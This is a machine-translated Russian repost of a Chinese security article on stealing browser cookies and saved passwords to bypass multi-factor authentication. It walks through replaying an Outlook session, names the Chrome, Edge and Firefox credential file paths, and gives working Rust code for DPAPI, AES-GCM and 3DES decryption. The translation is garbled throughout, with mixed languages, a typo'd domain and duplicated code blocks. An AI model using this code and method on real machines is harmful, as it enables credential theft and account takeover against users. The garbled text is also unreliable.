Оригинальная ссылка:
https://xz.aliyun.com/t/14245
Введение:Популярный в последние годыМногофакторная аутентификация(MFA),Лично я считаю, что это тоже тенденция будущего: недостаточно зайти на определенные сайты и получить только счетпароль;,Это показывает важность файлов cookie,использовать обход файлов cookie Многофакторная аутентификация будет часто использоваться в будущем,Поэтому в этой статье будут кратко проанализированы идеи получения и использования файлов cookie;
Как это получить:
Этот метод только проверяет возможность входа в систему с помощью файлов cookie без учетной записи и пароля.
Через два хоста один Авторизоватьсяoutlookсчет,Ни один Авторизоватьсяoutlookсчет Сравнить посещенияhttps://outlook.live.com/mail/0
процесс;
Сначала проверьте, нет ли Outlook cookieпосещатьoutlookПочта,доступ/mail/0
назад,будет следоватьPOSTпросить/owa/0/startupdata.ashx?app=Mail&n=0
,Код ответа440 Login Тайм-аут, затем произойдет переход на страницу входа в систему;
Посмотрите на существование перспективы cookieпосещатьoutlookПочта,POSTпросить/owa/0/startupdata.ashx?app=Mail&n=0
,Код ответа — 200, после чего будет загружена страница почтового ящика Outlook;
Вот предположение,Если я изменю файл cookie с кодом ответа 200, скопируйте файл cookie с кодом ответа 440.,Можно ли войти в него напрямую?outlook?Так что используйтеburp将доступ/owa/0/startupdata.ashx?app=Mail&n=0
изPOSTпросить拦截,Замените файл cookie файлом cookie, содержащим предыдущий код ответа 200.,Ответ 200,Затем будет загружено содержимое почтового ящика Outlook.,Но просто заменить этот пакет недостаточно,Если последующий пакет запроса не содержит cookie-файла «Авторизоваться» и успешный пользователь все равно перейдет на страницу «Авторизоваться»;
Здесь вы можете использовать плагин Cookie-Editor для браузера, чтобы экспортировать успешно зарегистрированный файл cookie Outlook в формат JSON;
Не авторизовать хост Outlook здесь,burp включает режим перехвата,直接доступhttps://outlook.live.vom/mail/0
,После упаковки этого запроса в Forward,Будет запрашивать динамические изображения почтового ящика в формате SVG.,В это время продолжайте использовать плагин Браузер Cookie-Editor.,Импортируйте содержимое JSON, экспортированное выше.,Потом рыгать перестает перехватывать,добиться успеха Авторизоваться;
chromeБраузер сгенерирует свой ключ,Конвертировать значение cookie в шифрование AES,Сохраняйте секретный текст и другую информацию в%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies
середина,Назначьте копию файла cookie и измените суффикс на .db;
Затем откройте его через navicat, чтобы увидеть содержимое файла cookie, в котором содержимое поля Encrypt_vlaue представляет собой зашифрованные значения cookie;
шифрованиеcookieиз密钥通过DPAPIшифрование Сохранить в%LocalAppData%\Google\Chrome\User Data\Local State
середина,Значение «encrypted_key» в «os_crypt» в json является ключом шифрования;
преимущество:
недостаток:
Процесс извлечения файлов cookie:
Блок-схема шифрования файлов cookie Chrome:
Браузер на основе ядра Chromium вызывает CookieMonster при запуске, чтобы загрузить все файлы cookie из базы данных файлов cookie на диске; он выполняет сканирование памяти во внутренней сети целевого хоста, находит адрес памяти CookieMonster с помощью определенных сигнатур браузера и сбрасывает файлы cookie.
преимущество:
недостаток:
Процесс извлеченияследующее:
Адрес инструмента:
https://github.com/Meckazin/ChromeKatz
Если файлы cookie получены из памяти, их можно напрямую импортировать в браузер, но если сохраненные файлы cookie извлекаются из локального файла cookie, некоторым веб-сайтам (Outlook и т. д.) потребуется некоторое взаимодействие, и сервер предоставит клиенту; некоторые сеансы (динамические файлы cookie) Получить динамические файлы cookie будет сложнее, поэтому полученные файлы cookie будут импортированы в локальный файл cookie;
Раньше я пытался импортировать его в файл cookie Chrome. После шифрования импорта Chrome не распознал эти файлы cookie. Я попытался скопировать локальный файл cookie и внедрить его непосредственно в собственный файл cookie. Здесь считается, что Chromium работает. операции, аналогичные проверке целостности файлов cookie;
Если браузеры на базе Chromium не работают, вы можете попробовать другие браузеры, например Firefox. Файлы cookie, хранящиеся в браузере Firefox, представляют собой открытый текст и не выполняют проверку целостности. Вы можете внедрить файлы cookie в файл cookie Firefox;
Код расшифровки DPAPI:
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
let len = crypted_bytes.len();
let mut bytes = Vec::from(crypted_bytes);
let pb = bytes.as_mut_ptr();
let mut blob = CRYPTOAPI_BLOB {
pbData: pb,
cbData: len as u32,
};
let mut out = Vec::with_capacity(len);
let mut blob_out = CRYPTOAPI_BLOB {
pbData: out.as_mut_ptr(),
cbData: out.len() as u32,
};
unsafe {
CryptUnprotectData(
&mut blob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mut blob_out,
)
.ok()?;
let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
LocalFree(blob_out.pbData as isize);
Ok(slice.to_vec())
}
}
Код расшифровки AES:
pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
if encrypted_value.len() == 0{
return (String::from(" "), Vec::new());
}
let iv: &[u8] = &encrypted_value[3..15];
let encrypted_value = &encrypted_value[15..];
let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
if let Ok(decoded) = String::from_utf8(decrypted) {
return(decoded, iv.to_vec());
}
}
return (String::new(), Vec::new());
}
Введение: В этой статье представлены принципы извлечения трех распространенных Браузерпароль и Реализация. код;Только демо последней версии.
Как это получить:
Получите файл хранения паролей браузера и расшифруйте соответствующие зашифрованные поля;
Chromeпарольпуть к файлу:%LocalAppData%\Google\Chrome\User Data\Default\Login Data
;
Chrome密钥путь к файлу:%LocalAppData%\Google\Chrome\User Data\Local State
Edgeпарольпуть к файлу:%LocalAppData%\Microsoft\Edge\User Data\Default\Login Data
;
Edge密钥путь к файлу:%LocalAppData%\Microsoft\Edge\User Data\Local State
;
Скопируйте файл и измените суффикс на db (сам по себе sqlite), затем вы сможете открыть его с помощью инструмента базы данных;
Ключевые поля:
Тип шифрования: Шифрование DPAPI, шифрование AES;
Пароль, зашифрованный браузером ядра Chromium, аналогичен шифрованию файлов cookie. DPAPI вызывается для расшифровки ключа AES, а затем для расшифровки используется AES.
Код расшифровки DPAPI:
fn crypt_unprotect_data(crypted_bytes: &[u8]) -> windows::core::Result<Vec<u8>> {
let len = crypted_bytes.len();
let mut bytes = Vec::from(crypted_bytes);
let pb = bytes.as_mut_ptr();
let mut blob = CRYPTOAPI_BLOB {
pbData: pb,
cbData: len as u32,
};
let mut out = Vec::with_capacity(len);
let mut blob_out = CRYPTOAPI_BLOB {
pbData: out.as_mut_ptr(),
cbData: out.len() as u32,
};
unsafe {
CryptUnprotectData(
&mut blob,
std::ptr::null_mut(),
std::ptr::null(),
std::ptr::null_mut(),
std::ptr::null(),
0,
&mut blob_out,
)
.ok()?;
let slice = std::slice::from_raw_parts(blob_out.pbData, blob_out.cbData as usize);
LocalFree(blob_out.pbData as isize);
Ok(slice.to_vec())
}
}
Код расшифровки AES:
pub fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> (String, Vec<u8>) {
if encrypted_value.len() == 0{
return (String::from(" "), Vec::new());
}
let iv: &[u8] = &encrypted_value[3..15];
let encrypted_value = &encrypted_value[15..];
let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));
if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
if let Ok(decoded) = String::from_utf8(decrypted) {
return(decoded, iv.to_vec());
}
}
return (String::new(), Vec::new());
}
Firefoxпарольпуть к файлу:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\logins.json
;
Ключевые поля:
Firefox密钥путь к файлу:C:\Users\<USERS>\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxx-release\key4.db
;
Тип шифрования:SHA256шифрование、3DES-CBCшифрование;
Примечание. Главный пароль в Firefox не установлен по умолчанию (он пуст). Если он установлен, вам необходимо указать главный пароль для расшифровки, иначе расшифровка не удастся;
Процесс расшифровки:
Получите ключ 3DES, извлекая определенные значения в таблице метаданных и таблице nssprivate в key4.db, и выполните шифрование и дешифрование SHA1 и SHA256. Затем извлеките зашифрованный пароль учетной записи в файле logins.json и выполните расшифровку 3DES, чтобы получить учетную запись в виде открытого текста. пароль;
Подробная схема расшифровки:
Реализация кода
Процесс расшифровки элемента аналогичен расшифровке a11. Функция decrypt_pbe демонстрирует, как расшифровать значение a11. Чтобы проанализировать элемент, вам нужно только определить, является ли результат анализа «проверкой пароля»;
DERдекодирование+SHA1шифрование+SHA256Код расшифровки:
Шифрование SHA1 + расшифровка PBKDF2 для получения ключа SHA256:
fn sha1_encrypt(
entry_salt: Vec<u8>,
interation_count: u32,
hex_byte_salts: Vec<u8>,
master_password: String
) -> Vec<u8> {
let mut sha1_hasher = Sha1::new();
sha1_hasher.update(hex_byte_salts);
sha1_hasher.update(master_password);
let k = sha1_hasher.finalize().to_vec();
let mut key = vec![0u8; 32];
pbkdf2::<Hmac<Sha256>> (&k, &entry_salt, interation_count, &mut key).unwrap();
key
}
Расшифровка SHA256 для получения ключа дешифрования 3DES:
fn sha256_decrypt(
key: Vec<u8>,
iv: Vec<u8>,
ciphert: Vec<u8>
) -> Vec<u8> {
let key_array: &[u8; 32] = array_ref!(key, 0, 32);
let cipher = Cipher::new_256(key_array);
let decrypted = cipher.cbc_decrypt(&iv, &ciphert);
log::debug!("decrypt_data is: {:?}",decrypted);
decrypted[..24].to_vec()
}
DER парсит для получения значений, необходимых для шифрования:
fn decrypt_pbe(
a11: Vec<u8>,
master_password: String,
global_salt: String
) -> (Vec<u8>, u32, u64, Vec<u8>, Vec<u8>, Vec<u8> ) {
let item = parse_der(&a11).unwrap();
assert_eq!(item.1[0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.13", "No encryption method recognized");
assert_eq!(item.1[0][1][0][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.1.5.12", "No encryption method recognized");
assert_eq!(item.1[0][1][0][1][3][0].content.clone().as_oid().unwrap().to_string(), "1.2.840.113549.2.9", "No encryption method recognized");
assert_eq!(item.1[0][1][1][0].content.clone().as_oid().unwrap().to_string(), "2.16.840.1.101.3.4.1.42", "No encryption method recognized");
let entry_salt = item.1[0][1][0][1][0].content.as_slice().unwrap();
let interation_count = item.1[0][1][0][1][1].content.as_u32().unwrap();
let key_length = item.1[0][1][0][1][2].content.as_u64().unwrap();
assert_eq!(key_length, 32);
let hex_byte_salts = hex::decode(global_salt.as_bytes()).unwrap();
log::debug!("all is: {:?}", item);
log::debug!("global_salt is: {:?}", hex_byte_salts);
log::debug!("key_length is: {:?}", key_length);
log::debug!("interation_count is: {:?}", interation_count);
let mut iv: Vec<u8> = Vec::new();
let iv_end = item.1[0][1][1][1].as_slice().unwrap();
iv.push(4);
iv.push(14);
iv.extend_from_slice(iv_end);
let ciphert = item.1[1].as_slice().unwrap();
log::debug!("iv is: {:?}", iv);
log::debug!("ciphert is: {:?}", ciphert);
(entry_salt.to_vec(), interation_count, key_length, hex_byte_salts, iv, ciphert.to_vec())
}
Расшифровка 3DES для получения обычного текстового пароля:
pub fn des3_decrypt(
key: Vec<u8>,
encryptdata: &str
) -> String {
log::debug!("encryptdata is: {}", encryptdata);
log::debug!("key is: {:?}", key);
let base53_data = base64::decode(encryptdata).unwrap();
let iv = &base53_data[34..42];
let mut ciphertext = base53_data[44..].to_vec();
type TDesCbc = Decryptor<TdesEde3>;
let tdes = TDesCbc::new_from_slices(&key, iv).unwrap();
let result = tdes.decrypt_padded_mut::<Pkcs7>(&mut ciphertext).unwrap();
log::debug!("decrypt_data is: {:?}", String::from_utf8_lossy(result));
String::from_utf8(result.to_vec()).unwrap()
}
Вызовите функцию в Firefox nss3.dll для расшифровки;
Функция вызова nss3.dll:
Справочный код:
https://github.com/unode/firefox_decrypt